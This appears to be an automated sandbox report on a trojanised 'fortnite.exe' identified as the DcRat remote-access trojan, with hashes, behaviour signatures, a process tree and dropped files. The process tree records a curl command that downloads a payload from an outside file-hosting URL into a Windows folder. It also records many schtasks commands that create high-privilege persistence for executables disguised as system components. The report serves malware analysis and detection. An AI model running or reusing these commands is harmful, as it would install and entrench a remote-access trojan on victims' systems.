Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-11-2024 14:53

General

  • Target

    fortnite.exe

  • Size

    1.3MB

  • MD5

    1c16bf40db9d99d8a4f882ee6f00af78

  • SHA1

    82c7fdf41cd5681210da9214faa247fd26bcd350

  • SHA256

    9bfc9ba2bb3b295e72a6898bfa7ed7a77421d06a0886b27dc6c79e40f90e7877

  • SHA512

    378779c8be8bfef6bc2fa60bc6db618a1edc7ccd1fa130b992350ed2c28d9c87f0790b589ad3e498792ca02183286261e1f941b64f1098c1aa8eb109b61ba38a

  • SSDEEP

    12288:8lOYMXO4mKrGuiQa47F6zKRbOQCLqn4UxCj2AqeMQm5ZQyRWkhuq3nbep3+bKDZb:8iXdm+oHLqn4uGKF5lpC+bKlAtc06x

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\system32\curl.exe
        curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
        3⤵
        • Drops file in Windows directory
        PID:2068
    • C:\Windows\Speech\physmeme.exe
      "C:\Windows\Speech\physmeme.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1164
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:372
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2800
          • C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe
            "C:\BridgeHyperBlocknetdhcp/MsHyperDhcp.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4336
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\FksZM0ojjN.bat"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1704
              • C:\Windows\system32\chcp.com
                chcp 65001
                7⤵
                  PID:3368
                • C:\Windows\system32\w32tm.exe
                  w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                  7⤵
                    PID:2964
                  • C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe
                    "C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3600
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 9 /tr "'C:\Windows\ModemLogs\StartMenuExperienceHost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3532
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\ModemLogs\StartMenuExperienceHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2224
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Windows\ModemLogs\StartMenuExperienceHost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:100
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 9 /tr "'C:\BridgeHyperBlocknetdhcp\Registry.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1480
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\Registry.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1012
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\BridgeHyperBlocknetdhcp\Registry.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1164
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\Program Files\Java\jdk-1.8\legal\jdk\spoolsv.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4564
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Java\jdk-1.8\legal\jdk\spoolsv.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2672
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Program Files\Java\jdk-1.8\legal\jdk\spoolsv.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1116
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Media Player\SearchApp.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5100
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\SearchApp.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2600
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Media Player\SearchApp.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:224
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 12 /tr "'C:\BridgeHyperBlocknetdhcp\MoUsoCoreWorker.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1476
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\MoUsoCoreWorker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1248
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 8 /tr "'C:\BridgeHyperBlocknetdhcp\MoUsoCoreWorker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2568
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 11 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4652
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MsHyperDhcp" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1288
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 8 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3736

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe

        Filesize

        253B

        MD5

        4bb32a75d150d0312a4f6b779f0b181a

        SHA1

        03dd7971f5534a9d5871fc936c40b7aa28c58de8

        SHA256

        1590ca47cc698690025d71afb485ec10be508fc5330e5d074b992f9e4f509b0e

        SHA512

        91d0806fa988cbbdcfa0ec80b69236f8056b0170e484fbc9c7486bca63efdec9bd93f9a31568ac5fe7ef7dd63e7eb88c27be4928ac8e132445c8340bc3a2fff6

      • C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe

        Filesize

        1.8MB

        MD5

        8eedebc3e9237f67772e3fc3c3d798ea

        SHA1

        a87e1c10ddbc4c7fdbb69437647f4910216ec689

        SHA256

        2f1c931ea2ef0cb95382657e6947cab4cb463519e1316d5fc3cd752f8de29301

        SHA512

        2cf1015562ea15f3a04a7ca0fbdef489cd84ccc555facec9d94ca890365d7a65b5974442b4d36918d284c8b1cd81b905698eb7fa99b8dc14c55f5cdb05f7c8b9

      • C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat

        Filesize

        86B

        MD5

        280356ba496d0f7d9a0d88c1e5786d93

        SHA1

        d5ccc97c0f4e07736f44240ce25dfcbc93c6ccad

        SHA256

        f6a0387019b90b50ff47c15052970372fec47420680d0d576e0288a0fa632aad

        SHA512

        0bd118a4766c777b2574ac1f5cfd3f71bf3f4698c6a9b6b856abf75c35ff2c47cbdf4a72189155f23cfaf1b340adf1db5ad2fe0acbe16bb60add7850ac0c1ffd

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MsHyperDhcp.exe.log

        Filesize

        1KB

        MD5

        af6acd95d59de87c04642509c30e81c1

        SHA1

        f9549ae93fdb0a5861a79a08f60aa81c4b32377b

        SHA256

        7521ee2d065a78efcab55a194fbd78492f84b70595f139263875f4ea92b194d6

        SHA512

        93ab99bcf588fde553de3240e0d2b0cbd4e4bc5ef5e99d53f45a267d7ff30103a80b5a7aa1c52d6eff1e070af0ec82d2c0b8aafb7099742aa16810edc1815c3a

      • C:\Users\Admin\AppData\Local\Temp\FksZM0ojjN.bat

        Filesize

        218B

        MD5

        b23be3a9593a5ecbc73ea755c277ed0c

        SHA1

        2daa1544db4877be71ee529dfc105ec7fe630211

        SHA256

        a64e953d903c7480d4d53f79d3d69b0a3445c2a7480eb3ae55feb28cf834107f

        SHA512

        a09ca8805fad18e8abb23c48aaa425e4e306356a66912a2929105a66ed85486d977975522dc819cf3257a916b70875b996b3dc980ec011ddfa9aab32633ba177

      • C:\Windows\Speech\physmeme.exe

        Filesize

        2.1MB

        MD5

        e0216529a1eaed9f919e40074ca84f33

        SHA1

        3c2c9e6fc0e096b8aba3c96b3c23431a8aa17cc8

        SHA256

        48cead232045bf8ed6d8dbca3e2072be474fd74ad8901e7a3febe44a9315e5c1

        SHA512

        e03c5823c27b7f6b4b61ecd48a2ab1019da4e10d3de53965a183b03ef5ebdba07532d28e6284b51ceceb7fc4794719220038faccd5cb9d2a767dd82697a969df

      • memory/4336-15-0x0000000000F80000-0x0000000001152000-memory.dmp

        Filesize

        1.8MB

      • memory/4336-17-0x0000000003330000-0x000000000333E000-memory.dmp

        Filesize

        56KB

      • memory/4336-19-0x000000001BDA0000-0x000000001BDBC000-memory.dmp

        Filesize

        112KB

      • memory/4336-20-0x000000001BF50000-0x000000001BFA0000-memory.dmp

        Filesize

        320KB

      • memory/4336-22-0x000000001BDC0000-0x000000001BDD8000-memory.dmp

        Filesize

        96KB